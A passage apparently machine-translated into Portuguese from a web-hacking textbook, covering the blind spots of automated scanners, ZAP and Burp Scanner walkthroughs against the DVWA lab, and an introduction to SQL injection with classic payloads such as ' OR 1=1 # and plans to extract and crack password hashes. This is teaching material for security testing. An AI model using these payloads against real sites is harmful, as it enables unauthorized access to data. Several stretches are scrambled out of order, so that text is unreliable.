velhos</p><p>tempos (início dos anos 2000), o código do lado do servidor lançava todos os tipos de exceções detalhadas que</p><p>poderiam ser facilmente inspecionadas por scanners da web em busca de sinais reveladores de vulnerabilidades.</p><p>O exemplo clássico é o da injeção de SQL, em que inserir uma única aspa enviaria de volta uma mensagem de</p><p>erro do aplicativo que seria facilmente reconhecível como vulnerável. À medida que os desenvolvedores</p><p>melhoraram em mensagens de erro genéricas, a detecção de vulnerabilidades de código no servidor tornou-se</p><p>muito mais difícil, mas os scanners ainda podem encontrá-las. ÿ Vulnerabilidades baseadas em entradas</p><p>direcionadas ao lado do cliente, como Cross-site Scripting (XSS).</p><p>A maioria dos web scanners podem identificar esse tipo de vulnerabilidade de forma muito confiável porque o</p><p>Machine Translated by Google</p><p>O que um scanner não encontrará</p><p>o navegador e o aplicativo da web, como cookies inseguros e transmissão de senha não criptografada.</p><p>Essas vulnerabilidades serão usadas em ataques direcionados tanto ao aplicativo da web quanto ao</p><p>usuário da web. A maioria dos scanners da web deve atingir um sucesso com esse tipo de detecção de</p><p>vulnerabilidade. As solicitações do navegador e as respostas da aplicação web são completamente</p><p>visíveis para o scanner, portanto ele só precisa analisá-las e comparar os resultados com um conjunto</p><p>conhecido de regras. Não é difícil verificar se os parâmetros de nome de usuário e senha estão sendo</p><p>enviados de forma insegura por HTTP, por exemplo.</p><p>Os scanners de aplicativos da Web têm algumas deficiências claras nos tipos de vulnerabilidades que eles</p><p>podem encontrar e das quais você realmente precisa estar ciente antes de usar qualquer ferramenta. Aqui está</p><p>uma lista de vulnerabilidades de aplicativos da web que não são detectadas por scanners automatizados,</p><p>independentemente de ser um produto de código aberto gratuito ou uma</p><p>fera maravilhosa de US$ 15.000. ÿ Senhas fracas: embora os spiders tentem fazer login no aplicativo com o padrão</p><p>ÿ Vulnerabilidades que podem ser identificadas inspecionando o ciclo de solicitação e resposta entre</p><p>o código do lado do cliente está visível. Ao procurar uma vulnerabilidade XSS refletida, o scanner enviará</p><p>a entrada e inspecionará imediatamente a resposta do aplicativo da web para que a mesma entrada seja</p><p>repetida. Scanners mais refinados usarão esta instância de entrada ecoada para então mergulhar em</p><p>verificações XSS mais sofisticadas para verificar se a vulnerabilidade está presente. Essas</p><p>verificações avançadas</p><p>são a inteligência (o “molho secreto”, como alguns pesquisadores gostam de</p><p>dizer) que o criador de cada ferramenta aposta para se destacar como um forte argumento de venda.</p><p>credenciais, isto é apenas enviar o formulário para encontrar conteúdo adicional. No caso raro de esse</p><p>login padrão ser bem-sucedido, o scanner não reconhece o motivo como uma senha fraca. Portanto,</p><p>mesmo que uma conta de administrador seja facilmente adivinhada, o verificador não fornecerá</p><p>nenhuma indicação dessa vulnerabilidade. ÿ Nomes de</p><p>parâmetros significativos: O scanner não é inteligente o suficiente para saber quais parâmetros são</p><p>significativos para o aplicativo e o que diferentes valores desses parâmetros significam para a</p><p>funcionalidade e segurança geral. Isto é especialmente verdadeiro se o desenvolvedor tiver usado nomes</p><p>de parâmetros obscuros, como a, hugs, nighthawk, foo ou usado uma linguagem diferente para definir</p><p>variáveis. (Certa vez, me vi lutando com uma instalação SAP e lidando com variáveis declaradas</p><p>em alemão. Bons tempos!)</p><p>ÿ Injeção de SQL armazenada (injeção de SQL de segunda ordem): como essa vulnerabilidade</p><p>raramente fornece uma resposta direta ao verificador, ela geralmente passa despercebida e não</p><p>é relatada. Isso é exatamente o oposto da injeção SQL tradicional, que fornece feedback imediato</p><p>ao scanner para comparação com as assinaturas integradas. Pior ainda, às vezes os scanners relatam</p><p>injeção de SQL armazenada que acabam sendo falsos positivos, resultando em muito tempo tentando</p><p>verificar as descobertas do scanner. ÿ Controle de acesso quebrado: a capacidade de</p><p>um invasor contornar o controle de acesso</p><p>mecanismos não serão sinalizados por um scanner web porque o scanner simplesmente não percebe</p><p>quando um usuário pode acessar os recursos de outro usuário (privilégio horizontal</p><p>Machine Translated by Google</p><p>Digitalizando com proxy de ataque ZED (ZAP)</p><p>recursos.</p><p>ÿ Ataques de sessão: Exceto por vulnerabilidades de sessão flagrantes, como a transmissão de</p><p>identificadores de sessão por meio de HTTP inseguro, um scanner não reconhecerá ataques de</p><p>sessão, como fixação de sessão, carona ou doação. Todos esses ataques envolvem interação</p><p>humana tanto do invasor quanto da vítima e estão fora do escopo de qualquer scanner</p><p>automatizado. ÿ Falhas Lógicas: Devido à natureza personalizada dos aplicativos da Web e à</p><p>funcionalidade que eles devem fornecer, não há assinaturas de scanner para falhas</p><p>lógicas. Essas vulnerabilidades são muito mais difíceis de serem detectadas por programadores e</p><p>hackers porque lidam com a lógica da aplicação web em vez da sintaxe. Um exemplo fácil é que um</p><p>scanner não é inteligente o suficiente para entender a diferença nos dois URLs a seguir, onde o</p><p>parâmetro uid determina a função do usuário: https://</p><p>www.zoinks.com/viewHealthHistory.aspx?uid=scott https:/ /</p><p>www.zoinks.com/viewHealthHistory.aspx?uid=admin Esta vulnerabilidade nunca será encontrada</p><p>por um scanner automatizado, mas pode fornecer acesso ao histórico de saúde de cada usuário;</p><p>isto é, você pode percorrer todos os registros simplesmente alterando o uid e enviando a solicitação.</p><p>ÿ Navegação forçada (força bruta de arquivos e diretórios): Esta vulnerabilidade, também</p><p>conhecida como navegação forçada, não será sinalizada pelo scanner porque envolve a</p><p>solicitação de vários recursos semelhantes em sucessão e a capacidade de decifrar quais deles</p><p>são significativos para o aplicativo. Um scanner não perceberá isso porque não entende o</p><p>contexto da funcionalidade do aplicativo para cada um dos itens solicitados.</p><p>escalonamento) ou quando um usuário pode acessar os recursos de um administrador</p><p>(escalonamento vertical de privilégios). Mesmo que a vulnerabilidade esteja presente, o</p><p>escalonamento fora do nível de controle de acesso pretendido parecerá apenas mais um</p><p>recurso a ser solicitado ao scanner. Isso ocorre porque os scanners não podem tomar decisões</p><p>lógicas e nunca saberão quais parâmetros e valores orientam a funcionalidade do</p><p>aplicativo web. ÿ XSS armazenado em várias etapas: quase todas as vulnerabilidades que exigem</p><p>várias etapas não serão detectadas por um scanner porque ele não tem a capacidade de</p><p>concluir etapas sequenciais de maneira inteligente. Por exemplo, um scanner perderá uma</p><p>vulnerabilidade XSS armazenada na terceira etapa de um procedimento de check-out de cinco</p><p>etapas porque não será capaz de concluir satisfatoriamente as duas primeiras etapas para chegar à página vulnerável.</p><p>Antes de passarmos para o ZAP, você deve fechar completamente o Burp Suite, pois ambos os proxies</p><p>são executados na porta 8080 por padrão. Embora você possa ter ambos rodando ao mesmo tempo em</p><p>portas diferentes, a funcionalidade que tal arranjo fornece está fora do escopo deste livro. Você pode abrir</p><p>o ZAP através da estrutura de menu em BackTrack clicando em Aplicativos ÿ BackTrack ÿ Avaliação</p><p>de Vulnerabilidade ÿ Avaliação de Aplicativo Web ÿ Proxies de Aplicativo Web ÿ owasp-zap conforme</p><p>mostrado na Figura 3.9.</p><p>Machine Translated by Google</p><p>Configurando o ZAP</p><p>Quando você abre o ZAP pela primeira vez, aparece uma caixa de diálogo de licença que você deve primeiro</p><p>aceitar. Em seguida, uma caixa de diálogo de aviso de certificado SSL saúda você. Para que o ZAP funcione</p><p>corretamente em HTTPS, ele precisa ter uma certificação SSL integrada. Você pode simplesmente clicar no</p><p>botão Gerar para que um certificado seja criado imediatamente para você, conforme mostrado na Figura</p><p>3.10 e Gerar novamente na caixa de diálogo Opções para aceitá-lo corretamente no ZAP.</p><p>ZAP é muito semelhante ao Burp Suite em muitos aspectos, pois ambos incluem várias das mesmas</p><p>ferramentas, como um mapa do site, um proxy de interceptação, um spider e a capacidade de codificar/</p><p>decodificar valores. O ZAP também possui um scanner de porta que pode ser usado durante o reconhecimento</p><p>do servidor web, uma ferramenta de difusão para entrada rápida enviada ao aplicativo e uma ferramenta de</p><p>força bruta de diretório que adivinha nomes de diretórios comuns e conhecidos no servidor web.</p><p>Depois que seu certificado SSL dinâmico for gerado, ele será exibido na caixa de diálogo Opções ,</p><p>conforme mostrado na Figura 3.11. Depois de revisar todas as opções que você gostaria</p><p>FIGURA 3.9 Abrindo o Zed Attack Proxy (ZAP) do OWASP no BackTrack.</p><p>FIGURA 3.10 Aviso de certificado SSL no ZAP.</p><p>Machine Translated by Google</p><p>FIGURA 3.11 Gerando certificado no ZAP.</p><p>Executando o</p><p>ZAP À medida que você visita as páginas, a guia Sites será preenchida da mesma maneira que o Mapa</p><p>do Site foi gerado no Burp Suite. Clicar com o botão direito em qualquer endereço IP ou URL abre o menu</p><p>de conteúdo no qual você pode selecionar varredura, aranha, força bruta ou varredura de porta no</p><p>aplicativo e servidor de destino, conforme mostrado na Figura 3.12.</p><p>para inspecionar, você pode clicar no botão OK para começar a usar o ZAP.Machine Translated by Google</p><p>Quando o spider estiver concluído, você poderá</p><p>executar a verificação ativa do aplicativo da web</p><p>usando o menu de contexto ou selecionando a guia Verificação Ativa . Se você usar a guia, basta</p><p>clicar no botão play para iniciar a digitalização ao vivo. A saída da varredura ativa é encontrada</p><p>conforme mostrado na Figura 3.14.</p><p>A primeira tarefa que você deve realizar é rastrear o site para encontrar todos os recursos a serem</p><p>verificados. Essa aranha está preparando a bomba para que o scanner faça seu trabalho. Depois de</p><p>selecionar o site Spider no menu de contexto, a guia spider exibirá o conteúdo descoberto e um</p><p>indicador da barra de status do processo de spidering, conforme mostrado na Figura 3.13.</p><p>FIGURA 3.12 Menu de clique com o botão direito na guia “Sites” no ZAP.</p><p>FIGURA 3.13 Progresso do Spider no ZAP.</p><p>Machine Translated by Google</p><p>Agora temos a URL exata para aack e sabemos o parâmetro que está vulnerável.</p><p>Em vez de usar uma solicitação de prova de conceito benigna enviada ao aplicativo Web, podemos enviar</p><p>informações maliciosas para comprometer o aplicativo Web. Podemos realizar esse ataque no campo de formulário</p><p>HTML real em um navegador se quisermos digitar nossa entrada maliciosa lá, ou podemos usar um proxy para</p><p>interceptar a solicitação e editar o valor do parâmetro. Podemos até usar ferramentas adicionais, como sqlmap,</p><p>para explorar a aplicação. Faremos um pouco de cada um desses cenários que surgirão durante a invasão real de</p><p>aplicativos da web.</p><p>Revendo os resultados do ZAP</p><p>Depois que a verificação ativa for concluída, você poderá revisar as descobertas na guia Alertas , onde uma</p><p>estrutura em árvore exibirá as vulnerabilidades descobertas. Não é surpreendente que nosso aplicativo DVWA</p><p>tenha várias vulnerabilidades existentes (esse é o ponto!), conforme ilustrado pela injeção de SQL encontrada aqui.</p><p>O ZAP fornece uma breve descrição da vulnerabilidade, em qual página ela foi descoberta (login.php neste</p><p>exemplo) e o valor do parâmetro que acionou a descoberta, conforme mostrado na Figura 3.15.</p><p>O ZAP também possui funcionalidade de verificação passiva para que, à medida que você realiza a navegação</p><p>manual, todas as respostas do aplicativo da web que passam pelo proxy sejam inspecionadas em busca de</p><p>vulnerabilidades conhecidas. Este é um recurso muito útil para poder verificar vulnerabilidades com eficácia, sem</p><p>ter que enviar um grande número de solicitações maliciosas de volta ao aplicativo da web. Este recurso está</p><p>habilitado por padrão no ZAP, assim como no Burp Suite.</p><p>O relatório completo das descobertas do ZAP Scanner pode ser exportado como HTML ou XML através do</p><p>menu Relatórios . Assim que você salvar o arquivo de relatório como HTML, conforme mostrado na Figura 3.16,</p><p>ele será aberto em seu navegador padrão para você revisar mais detalhadamente.</p><p>FIGURA 3.15 Item único na aba Alertas do ZAP.</p><p>FIGURA 3.14 Progresso da varredura ativa no ZAP.</p><p>Machine Translated by Google</p><p>parâmetros passados por '?'</p><p>e consulta parametrizada.</p><p>Se o aplicativo usou ASP, use objetos de comando ADO com verificação de tipo forte</p><p>Se procedimentos armazenados ou variáveis de ligação puderem ser usados, use-os para passar parâmetros na consulta. Não concatene apenas a string na consulta</p><p>no procedimento armazenado!</p><p>Soluções: Não</p><p>confie na entrada do cliente, mesmo que haja validação do lado do cliente. Em geral, se a string de entrada for numérica, digite check it.</p><p>Se o aplicativo usou JDBC, use PreparedStatement ou CallableStatement com</p><p>URL: http://127.0.0.1/vulnerabilities/fi/?page=include.php'INJECTED_PARAM Parâmetro: page=include.php'INJECTED_PARAM</p><p>Detalhe do alerta: Alto</p><p>(suspeito): Impressão digital de injeção de SQL Descrição: A injeção de SQL pode ser possível.</p><p>Use o privilégio mínimo de usuário do banco de dados para o aplicativo. Isso não elimina a injeção de SQL, mas minimiza seus danos. Por exemplo, se o aplicativo</p><p>exigir a leitura de apenas uma tabela, conceda esse acesso ao aplicativo. Evite usar 'sa' ou 'db-owner'.</p><p>Não crie consultas SQL dinâmicas por simples concatenação de strings.</p><p>...</p><p>A outra ferramenta do ZAP para usar durante a digitalização é a Força Bruta (anteriormente</p><p>conhecida como DirBuster) encontrada na guia Força Bruta . Ele vem pré-carregado com listas de</p><p>nomes de diretórios comuns e simplesmente solicita esses diretórios para ver se eles existem. Esses</p><p>...</p><p>O relatório completo detalha as descobertas de cada vulnerabilidade descoberta no mesmo</p><p>formato da visualização da guia Alertas . Abaixo está a entrada do relatório para uma vulnerabilidade</p><p>de injeção de SQL na página include.php . As partes mais importantes são o URL e o valor do</p><p>parâmetro que desencadeou a vulnerabilidade.</p><p>FIGURA 3.16 Salvando o arquivo exportado do ZAP no diretório raiz.</p><p>Força Bruta ZAP</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/fi/?page%3Dinclude.php%27INJECTED_PARAM</p><p>Essa ferramenta leva muito tempo para ser executada, especialmente se você usar qualquer uma das grandes listas de</p><p>palavras, portanto, esteja ciente de que ela não será concluída tão rápido quanto as ferramentas spider ou scanner. No</p><p>entanto, você pode deixar a ferramenta Brute Force em execução enquanto usa outras ferramentas no ZAP ou completa</p><p>outras tarefas de hacking.</p><p>A versão gratuita que você está executando no BackTrack não terá essa funcionalidade, mas é importante apresentar a</p><p>funcionalidade do Burp Scanner, pois é uma ferramenta muito respeitada no mundo do hacking na web.</p><p>Digitalizando com Burp Scanner O outro scanner web</p><p>que é uma opção realmente forte é o Burp Scanner, e é muito semelhante ao processo de digitalização ZAP que acabamos</p><p>de trabalhar. O scanner no Burp está disponível apenas na versão Pro, que custa aproximadamente US$ 300 no momento</p><p>da redação deste artigo.</p><p>as listas pré-carregadas são listadas em ordem de importância (o topo é o melhor), conforme encontrado pela pesquisa dos</p><p>diretórios mais comuns encontrados online. Depois que um diretório for descoberto, a ferramenta continuará a busca de</p><p>força bruta por diretórios mais profundos até esgotar toda a lista, conforme mostrado na Figura 3.17.</p><p>Configurando o Burp Scanner Uma</p><p>grande propriedade do Burp Scanner é a capacidade de escolher a dedo as vulnerabilidades exatas a serem verificadas</p><p>com um botão liga/desliga na guia de opções . ÿ Injeção de SQL</p><p>ÿ Injeção de comando</p><p>do sistema operacional</p><p>FIGURA 3.17 Ferramenta Brute Force no ZAP.</p><p>Machine Translated by Google</p><p>FIGURA 3.18 Assistente de digitalização ativo no Burp Scanner.</p><p>Essas são as vulnerabilidades típicas encontradas por scanners automatizados, e é um recurso interessante</p><p>poder desativar qualquer uma delas se você estiver procurando especificamente por apenas um subconjunto</p><p>delas. Um bom uso disso seria executar o Burp Scanner depois de encontrar a vulnerabilidade de injeção SQ</p><p>originalmente ao executar o ZAP para validar se a vulnerabilidade está presente. Essas ferramentas são muito</p><p>fáceis de executar e o tempo</p><p>de execução para validação cruzada das descobertas é mínimo.</p><p>ÿ Scripting entre sites refletido (XSS) ÿ Scripting</p><p>entre sites armazenado (XSS) ÿ Path</p><p>Traversal ÿ Injeção</p><p>de cabeçalho HTTP ÿ</p><p>Redirecionamento aberto</p><p>ÿ Injeção LDAP ÿ</p><p>Manipulação de cabeçalho ÿ</p><p>Problemas no nível do servidor</p><p>Executando o Burp Scanner Você</p><p>pode selecionar Verificação Ativa para qualquer URL de alto nível ou ramificação subjacente da URL no Mapa</p><p>do Site (subguia da guia Destino ) usando o menu de contexto do botão direito. À medida que você identifica as</p><p>URLs do aplicativo Web que deseja atingir, é fundamental adicioná-las ao escopo do conjunto de ferramentas</p><p>selecionado. Em seguida, você pode especificar a verificação apenas dos itens no escopo do Burp Scanner com</p><p>uma simples marca de seleção durante o processo de inicialização do scanner, conforme mostrado na Figura 3.18.</p><p>Machine Translated by Google</p><p>FIGURA 3.19 Fila de verificação ativa no Burp Scanner.</p><p>Assim que a verificação for concluída para cada recurso, o indicador de status passará de uma porcentagem</p><p>concluída para um indicador concluído. Qualquer vulnerabilidade identificada é contada e codificada por cores</p><p>na coluna de problemas na guia Resultados , onde vermelho é a vulnerabilidade mais grave, conforme</p><p>mostrado na Figura 3.19.</p><p>Você pode revisar qualquer uma das vulnerabilidades identificadas com mais detalhes clicando duas vezes</p><p>na guia da fila de verificação , conforme mostrado na Figura 3.20. A grande vantagem dessa visão detalhada</p><p>é que você pode revisar o ciclo exato de solicitação e resposta que acionou a descoberta da vulnerabilidade.</p><p>Esta revisão do aack de prova de conceito é uma grande ajuda porque pode ser usada para criar um aack</p><p>malicioso real contra a mesma página e parâmetro. Há também um texto de apoio que descreve a</p><p>vulnerabilidade e como ela pode ser melhor mitigada.</p><p>Você também pode ajustar o desempenho do scanner na guia de opções editando o número de threads</p><p>que o mecanismo de verificação usa (três é o padrão), quantas tentativas o scanner fará se encontrar algum</p><p>erro de rede (três é o padrão ) e quanto tempo esperar antes de tentar a mesma solicitação novamente (2.000</p><p>ms é o padrão). Se você aumentar a contagem de threads, sua varredura será executada mais rapidamente,</p><p>mas você terá a possibilidade de sobrecarregar o aplicativo da web e executar efetivamente um ataque de</p><p>negação de serviço.</p><p>Revendo os resultados do Burp Scanner</p><p>Qualquer vulnerabilidade identificada durante a verificação passiva aparecerá imediatamente na guia de</p><p>resultados , mas devido à grande quantidade de solicitações enviadas pelo Burp Scanner durante a verificação</p><p>ativa, há uma guia de fila de verificação que fornece o status em tempo real do atual. Varredura. Essa fila pode</p><p>crescer bastante e levar muito tempo (várias horas) para ser concluída se o spidering descobrir muitos recursos</p><p>sendo usados pelo aplicativo da web.</p><p>Machine Translated by Google</p><p>FIGURA 3.20 Revisão de item único no Burp Scanner.</p><p>A guia de resultados inclui o total de todas as vulnerabilidades descobertas na verificação e pode</p><p>ser visualizada como uma estrutura em árvore, assim como o mapa do site do aplicativo Web, conforme</p><p>mostrado na Figura 3.21.</p><p>Machine Translated by Google</p><p>FIGURA 3.21 Visualização em árvore das vulnerabilidades descobertas no Burp Scanner.</p><p>A gravidade de cada vulnerabilidade é categorizada como alta (vermelho), média (laranja), baixa</p><p>(amarelo) ou informativa (preto), bem como a confiança da descoberta como certa, firme ou</p><p>provisória. Os valores de gravidade e confiança de cada vulnerabilidade nos resultados do scanner</p><p>podem ser editados, mas recomendo fortemente que você não faça isso. A comunidade Burp atribuiu</p><p>esses valores a partir de anos de testes e uso profissional, então fique tranquilo sabendo que essas</p><p>são as práticas recomendadas.</p><p>Machine Translated by Google</p><p>CAPÍTULO 4</p><p>Exploração de aplicativos da Web com</p><p>Injeção</p><p>Machine Translated by Google</p><p>Introdução</p><p>Resumo do capítulo: ÿ</p><p>Injeção de SQL: o velho cão ainda tem muita mordida</p><p>ÿ Ataques populares de injeção de SQL: o como e o porquê do</p><p>SQLi ÿ Controlando o sistema operacional do servidor web com injeção de comando</p><p>O/S ÿ Web shells: hackeando no conforto do seu computador navegador</p><p>As aplicações Web são feitas sob medida por programadores humanos que, por mais cuidadosos</p><p>que sejam, são suscetíveis a cometer erros que introduzem essas vulnerabilidades. Alguns dos tipos</p><p>de injeção mais comuns em aplicativos da Web incluem: ÿ Consultas</p><p>de linguagem de consulta estruturada (SQL) ÿ</p><p>Consultas de protocolo leve de acesso a diretório (LDAP) ÿ</p><p>Consultas de linguagem de caminho XML</p><p>(XPATH) ÿ Comandos do sistema</p><p>operacional Neste capítulo, você continuará a explore as ferramentas do Burp Suite e Zed Aac</p><p>Proxy (ZAP), sqlmap e John the Ripper para realizar ataques que exploram vulnerabilidades de</p><p>injeção de código. Você também será apresentado a explorações detalhadas sobre injeção de SQL e</p><p>comandos do sistema operacional.</p><p>Vulnerabilidades de injeção de SQL A injeção</p><p>de SQL é uma das vulnerabilidades da Web mais antigas (mais de 15 anos de caos e contando), mas</p><p>continua a ser o principal risco para aplicativos da Web. Apesar de ser a mais antiga em comparação</p><p>com outras vulnerabilidades da web, a injeção de SQL ainda é surpreendentemente difundida e tão</p><p>devastadora como sempre. Cada vez que surge a injeção de SQL, não posso deixar de me lembrar</p><p>de uma citação do personagem Lloyd Christmas de Jim Carey em Dumb & Dumber que resume meus</p><p>pensamentos sobre esta vulnerabilidade: “Idosos, embora lentos e perigosos ao volante, ainda pode</p><p>servir a um propósito. E é 100%</p><p>Não importa qual vulnerabilidade de injeção de código você encontre e qual exploração você usa</p><p>contra essa vulnerabilidade, o que importa é enviar entradas maliciosas para o aplicativo da web e</p><p>processá-las adequadamente! Outro fator a ser percebido é que esses ataques de injeção de código</p><p>são executados durante a interação com o aplicativo da web da mesma maneira que usuários</p><p>legítimos. Isso significa que seu tráfego e solicitações da Web parecerão praticamente idênticos a</p><p>outras solicitações não maliciosas.</p><p>Um hacker pode explorar vulnerabilidades de injeção de código enviando entradas maliciosas bem</p><p>elaboradas para fazer com que o aplicativo da web execute ações não autorizadas, como expor dados</p><p>de autenticação confidenciais (nomes de usuário e senhas) ou executar comandos do sistema</p><p>(adicionar contas de administrador não autorizadas). Os ataques por injeção de código são as</p><p>explorações mais prejudiciais que as aplicações web enfrentam atualmente pelo fato de impactarem</p><p>um grande número de usuários (clientes), ainda serem muito comuns e os detalhes dos ataques</p><p>serem frequentemente divulgados e causarem um certo grau de humilhação pública. para a vítima.</p><p>Os ataques por injeção de código geralmente são o resultado</p><p>de proteções insuficientes para impedir esses ataques.</p><p>Machine Translated by Google</p><p>request.getParam(“termo”) + “'”;</p><p>*“SELECIONEConsulta de string = FROM sapatos WHERE shoeName='” +</p><p>Interpretador SQL Um dos</p><p>principais aspectos desta vulnerabilidade que você deve compreender é que ela utiliza um interpretador SQL.</p><p>Um intérprete recebe informações e atua imediatamente sem ter que passar por processos de programação</p><p>tradicionais, como vinculação, compilação, depuração e execução. Por exemplo, um interpretador SQL</p><p>desempenha um papel fundamental quando você pesquisa um novo par de sapatos em uma loja online. Este</p><p>é o código que aguarda, como parte do aplicativo da web, o termo de pesquisa que você digita em uma caixa</p><p>de pesquisa:</p><p>Tabela 4.1</p><p>prazo” no aplicativo da web).</p><p>Exemplos de resultados SQL para pesquisa de calçados</p><p>3. O aplicativo cria uma instrução SQL composta de algum código pré-escrito</p><p>e o termo variável que é usado na solicitação HTTP.</p><p>4. A aplicação envia esta consulta SQL bem formada para o banco de dados onde ela é</p><p>executada pelo interpretador SQL.</p><p>5. Os resultados são enviados de volta ao aplicativo para exibição no navegador do usuário.</p><p>A sintaxe simplificada da consulta SQL que é executada ao pesquisar sapatos Zoomers : String query = “SELECT * FROM</p><p>shoes WHERE shoeName='Zoomers'”;</p><p>Quando você procura um novo par de sapatos Zoomers , as etapas a seguir são concluídas.</p><p>1. O usuário insere Zoomers na caixa de pesquisa da loja online e clica no botão Pesquisar</p><p>botão.</p><p>preciso! Quão bom é isso?! A injeção de SQL é tão antiga, tão prejudicial e, ainda assim, tão fácil de corrigir</p><p>que é difícil acreditar que ainda seja parte do risco número 1 em aplicativos da Web atualmente. Um recente</p><p>curso de treinamento Black Hat do pesquisador de segurança Sumit Siddharth revelou que a injeção de SQL</p><p>ainda está presente em mais de 30% das aplicações web atuais. Caramba!</p><p>Preste SQL básico aqui. Estamos simplesmente selecionando todas (*) as colunas I(D number, shoeName,</p><p>shoePrice) da tabela shoes para qualquer registro que tenha Zoomers na coluna shoeName . Os resultados</p><p>retornariam um conjunto de dados semelhante ao apresentado na Tabela 4.1. ÿ A consulta inteira é tratada como</p><p>uma variável</p><p>de string (denominada consulta) que é passada ao interpretador; é por isso que há aspas duplas antes do</p><p>SELECT e no final da consulta, antes do ponto e vírgula final. ÿ O termo de pesquisa fornecido pelo usuário</p><p>é coletado pela função request.getParam e</p><p>armazenado entre aspas simples como uma variável de string. Isso faz sentido, pois shoeName é</p><p>certamente um valor baseado em texto. A primeira aspa simples está logo após shoeName = e a</p><p>segunda aspa simples está logo antes da última aspa dupla.</p><p>2. O aplicativo armazena a entrada do usuário em uma variável chamada termo (como em “pesquisa</p><p>Número de identificação shoeName shoePrice</p><p>Machine Translated by Google</p><p>' Esta aspa simples é então anexada pelo programa diretamente após a entrada do usuário para</p><p>completar a instrução SQL, de modo que seja uma sintaxe válida para ser executada pelo</p><p>interpretador SQL.</p><p>Um hacker pode criar uma entrada maliciosa em vez de um nome de sapato na caixa de pesquisa para explorar</p><p>essa vulnerabilidade de injeção de SQL enquanto ainda equilibra as aspas para que a instrução não gere um erro.</p><p>O exemplo clássico dessa exploração é inserir a seguinte entrada na caixa de pesquisa.</p><p>Isso criaria a seguinte instrução SQL enviada ao intérprete para execução.</p><p>O # (sinal de cerquilha) após a cláusula 1=1 é um comentário embutido e o intérprete irá ignorar tudo o</p><p>que o segue. Comentários online também podem usar /*comment here*/ ou -- (traço duplo) em vez de um</p><p>sinal de cerquilha, dependendo do banco de dados com o qual você está trabalhando. Para DVWA</p><p>usando MySQL, o sinal de cerquilha é o indicativo de comentário embutido correto. A instrução SQL</p><p>resultante desta injeção de código é:</p><p>1. SELECT * FROM shoes WHERE shoeName=' Este pedaço de código é pré-escrito por um</p><p>programador humano e aguarda na aplicação a entrada do usuário.</p><p>2. O termo variável (Zoomers) é anexado ao primeiro pedaço de código. O usuário tem controle total desta</p><p>variável. 3.</p><p>Como um aacker, é fundamental entender como essa consulta é construída e quais partes exatas da</p><p>consulta você está sob controle. A consulta é dividida em três partes distintas.</p><p>Esta é a consulta SQL real executada pelo interpretador.</p><p>Sabemos exatamente onde as aspas simples serão adicionadas, então a instrução SQL resultante</p><p>para esta injeção também será sempre verdade:</p><p>Dê uma olhada nas citações; eles estão lindamente equilibrados! A aspa simples injetada após o</p><p>Zoomers equilibra a primeira aspa simples que foi pré-construída pelo aplicativo. A aspa simples anexada</p><p>ao final da entrada do usuário pelo aplicativo foi ignorada devido ao comentário embutido. Não apenas os</p><p>sapatos Zoomers serão recuperados, mas também todos os outros sapatos porque 1=1 é sempre</p><p>verdadeiro. Você também pode injetar uma entrada de string e usar a aspa suspensa pesquisando por</p><p>isto:</p><p>SQL para hackers</p><p>Ataques de injeção SQL</p><p>Zoomers' OR 1=1 #</p><p>SELECIONE * FROM sapatos WHERE shoeName='Zoomers' OU 1=1</p><p>SELECIONE * FROM sapatos WHERE shoeName='Zoomers' OR 1=1 #'</p><p>SELECT * FROM sapatos WHERE shoeName='Zoomers'</p><p>Zoomers' OU 'a'='a</p><p>SELECIONE * FROM sapatos WHERE shoeName='Zoomers' OU 'a'='a'</p><p>Grandes 89,99</p><p>Agachamentos 74,99</p><p>1004</p><p>1003</p><p>1001</p><p>1002</p><p>Gambás 69,99</p><p>Zoomers 133,37</p><p>Machine Translated by Google</p><p>hash).</p><p>4. Decifrar os hashes de senha para sabermos o nome de usuário e a senha de cada um dos usuários do</p><p>aplicativo.</p><p>O exercício DVWA que trabalharemos para esta vulnerabilidade é SQL Injection, que pode ser acessado clicando no</p><p>link no menu do lado esquerdo do DVWA depois de fazer login com o administrador | credenciais de senha conforme</p><p>mostrado na Figura 4.1.</p><p>2. Recuperar nomes de usuário do banco de dados para um ataque direcionado para</p><p>ignorar a autenticação.</p><p>3. Extraia informações úteis do banco de dados (estamos coletando senhas</p><p>1. Trave o aplicativo para provar que nossa entrada determina o comportamento do aplicativo.</p><p>Agora que conhecemos os fundamentos da injeção de SQL, vamos usar nosso ambiente DVWA para testá-lo em</p><p>uma página vulnerável. Temos alguns objetivos para esta seção:</p><p>Encontrando a vulnerabilidade A primeira</p><p>tarefa é encontrar a vulnerabilidade de injeção de SQL nesta página. De 10 a 15 anos atrás, quando a injeção de</p><p>SQL foi explorada pela primeira vez, era comum simplesmente colocar uma aspa simples em uma caixa de</p><p>pesquisa e observar o aplicativo explodir. Essa única cotação desequilibraria as cotações e o aplicativo</p><p>apresentaria erros. Podemos tentar identificar a vulnerabilidade DVWA usando este método exato de inserir uma</p><p>aspa simples no ID do usuário</p><p>FIGURA 4.1 Acessando a lição de injeção de SQL no DVWA.</p><p>Machine Translated by Google</p><p>Nesta aplicação, todas as entradas</p><p>do usuário são colocadas entre dois conjuntos de aspas simples (não</p><p>aspas duplas). Ainda não sabemos os nomes exatos das tabelas ou colunas, mas é seguro assumir que nossa</p><p>entrada criou uma consulta muito semelhante a esta:</p><p>SELECT * FROM users WHERE User_ID = “Rel1k”' Esta consulta, e a</p><p>subsequente falha do aplicativo, prova que temos controle total da instrução SQL. É fundamental que você se torne um conhecedor das</p><p>mensagens de erro de aplicativos da web, porque muitas vezes elas são a chave do reino! Resista à tentação de simplesmente descartar as</p><p>mensagens de erro como uma tentativa de exploração fracassada e, em vez disso, perceba que elas fornecem uma grande quantidade de</p><p>informações sobre como o aplicativo está processando sua entrada.</p><p>Esta entrada gera o seguinte erro SQL:</p><p>caixa de texto. Em vez de uma aspa simples, usaremos uma string com uma aspa simples extra como nossa</p><p>entrada de ID de usuário, conforme apresentado aqui:</p><p>Pense criticamente sobre os parâmetros fornecidos que podem ser incluídos nas consultas enviadas ao banco</p><p>de dados. Esses são os tipos de parâmetros que você deve testar para injeção de SQL. Itens como parâmetros</p><p>de ID numérico, como UID=81, parâmetros de termo de pesquisa de texto, como a pesquisa de calçado abordada</p><p>anteriormente, e parâmetros que contêm parâmetros de ID de string, como sort=ASC ou sort=DESC.</p><p>Esta consulta é executada com sucesso e produz alguns resultados úteis recuperados do banco de dados,</p><p>conforme mostrado na Figura 4.2.</p><p>Ignorando a autenticação Agora podemos</p><p>construir uma instrução SQL válida que será executada normalmente e recuperará informações que não temos o</p><p>direito de recuperar. Sabemos que estamos lidando com uma coluna 